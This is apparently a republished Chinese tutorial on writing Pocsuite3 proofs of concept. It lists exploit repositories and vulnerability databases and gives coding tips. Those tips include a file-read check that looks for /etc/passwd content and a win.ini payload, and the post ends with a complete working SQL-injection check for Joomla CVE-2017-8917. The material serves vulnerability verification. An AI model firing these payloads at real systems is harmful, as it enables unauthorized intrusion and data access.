編寫POC時候的幾個參考項目


0x01. 背景

在編寫pocsuite時候,會查閱大量的文件,poc利用方式。

1. pocsuite是什么

Pocsuite 是由知道創宇404實驗室打造的一款開源的遠程漏洞測試框架。它是知道創宇安全研究團隊發展的基石,是團隊發展至今一直維護的一個項目,保障了我們的 Web 安全研究能力的領先。你可以直接使用 Pocsuite 進行漏洞的驗證與利用;你也可以基於 Pocsuite 進行 PoC/Exp 的開發,因為它也是一個 PoC 開發框架;同時,你還可以在你的漏洞測試工具里直接集成 Pocsuite,它也提供標准的調用類。

感覺:有很多大公司,都是基於這個模板的殼來改的,這個算是安全圈內,漏洞掃描框架數一數二的存在。
image.png

0x02. pocsuite官方文檔

官方地址:http://pocsuite.org/
項目地址:https://github.com/knownsec/pocsuite3/
編寫手冊:

0x03. 幾個比較好的poc編寫項目

1. exphub

https://github.com/zhzyker/exphub
image.png
Exphub[漏洞利用腳本庫]
目前包括Webloigc、Struts2、Tomcat、Drupal的漏洞利用腳本,均為親測可用的腳本文件,盡力補全所有腳本文件的使用說明文檔,優先更新高危且易利用的漏洞利用腳本。

2. PeiQi-WIKI-POC

https://github.com/PeiQi0/PeiQi-WIKI-POC
PeiQI 師傅收集的poc,在安全圈內也很出名。
image.png

3. vulnerabilities

https://github.com/projectdiscovery/nuclei-templates/tree/master/vulnerabilities
博主編寫了更為通用的yaml文件,將漏洞利用進行匯總。
image.png

4. 數字觀星

https://poc.shuziguanxing.com/#/issueList
數字觀星本來不公開poc,但是買poc,也列進來吧。
image.png

0x04.幾個漏洞庫

1. CNVD

https://www.cnvd.org.cn/flaw/list.htm?flag=true
image.png

2. 阿里雲漏洞庫

https://avd.aliyun.com/nonvd/list
image.png

3. 狼組知識庫

https://wiki.wgpsec.org/knowledge/
雖然不是最新漏洞庫更新集合,但也是一個很不錯的知識庫。
image.png

4. 奇安信NOX

https://nox.qianxin.com/vulnerability
也會更新漏洞,信息還算及時吧
image.png

5. paper

https://paper.seebug.org/
一個精華的網站,值得學習
image.png

0x04. poc編寫注意事項

1.盡量使用官方庫

from pocsuite3.api import requests
from pocsuite3.api import Output, POCBase,logger
from pocsuite3.api import register_poc
from pocsuite3.lib.utils import random_str

2.requests忽略https請求

verify=False
例如:
res = requests.get(vulurl, verify=False)

3.做異常拋出

try:
    do something
except (KeyError,IndexError):
    pass
except Exception as e:
    # print(e)
    logger.error(f"connect target '{self.url} failed!'")

4.響應不能太簡單

不應單純使用響應狀態碼作為判斷條件,可添加頁面關鍵字作為第二個判斷條件
錯誤:if resp.status_code == 200:
正確:if resp.status_code == 200 and ‘xxxxxxxx’ in resp.text:

5.分辨Windows和linux

req = requests.get(url=vulurl,headers=headers, timeout=self.timeout, verify=False)
if r"root:x:0:0:root" in req.text and r"/root:/bin/bash" in req.text and r"/usr/sbin/nologin" in req.text:
    if r"daemon:" in req.text and req.status_code == 200:
        result['VerifyInfo'] = {}
        result['VerifyInfo']['url'] = target
        break
else:
    payload = 'file:///C:windows/win.ini'
    req = requests.get(url=vulurl, headers=headers, timeout=self.timeout, verify=False)
    if r"app support" in req.text and r"[fonts]" in req.text and r"[mci extensions]" in req.text:
        if r"files" in req.text and req.status_code == 200:
            result['VerifyInfo'] = {}
            result['VerifyInfo']['url'] = target
            break

0x05. 示例poc

#!/usr/bin/env python3.8

from pocsuite3.api import Output, POCBase, register_poc, requests, logger
from urllib.parse import urlparse
from pocsuite3.lib.utils import random_str
import random
import hashlib

class DemoPOC(POCBase):
    vulID = 'CVE-2017-8917'
    version = 'Joomla 3.7.0'
    author = ['姓名']
    vulDate = '2017-5-17'#漏洞公布時間,可參考nvd漏洞發布時間
    createDate = '2021-8-1'#poc創建時間
    updateDate = '2021-8-1'#poc修改時間
    references = ['https://nvd.nist.gov/vuln/detail/CVE-2017-8917']
    name = 'Joomla! SQL注入漏洞'
    appPowerLink = 'https://www.joomla.org/'
    appName = 'Joomla'
    appVersion = 'Joomla <3.7.1'
    vulType = 'SQL注入漏洞'
    desc = '''
        Joomla! 3.7.1之前的3.7.x版本中存在SQL注入漏洞。遠程攻擊者可利用該漏洞執行任意SQL命令。
    '''

    def _verify(self):
        # 驗證代碼
        result = {}
        token = random.randint(1,10000)
        upr = urlparse(self.url)
        if upr.port:
            ports = [upr.port]
        else:
            ports = [80,443,8080]
        for port in ports:
            target = '{}://{}:{}'.format(upr.scheme, upr.hostname, port)
            if target:
                try:
                    self.timeout = 5
                    payload = "/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,md5({})),1)".format(token)
                    geturl = target + payload
                    res = requests.get(geturl, timeout=self.timeout, verify=False)
                    flag = hashlib.new('md5', bytes(str(token).encode('utf-8'))).hexdigest()
                    if res.status_code == 500 and flag in res.text :
                        result['VerifyInfo'] = {}
                        result['VerifyInfo']['url'] = target
                        break
                except Exception as e:
                    print(e)
        return self.parse_output(result)
    def _attack(self):
        return self._verify()

    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('target is not vulnerable')
        return output


register_poc(DemoPOC)

參考

1.pocsuite
2.pocsuite編寫手冊
3.360漏洞雲


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM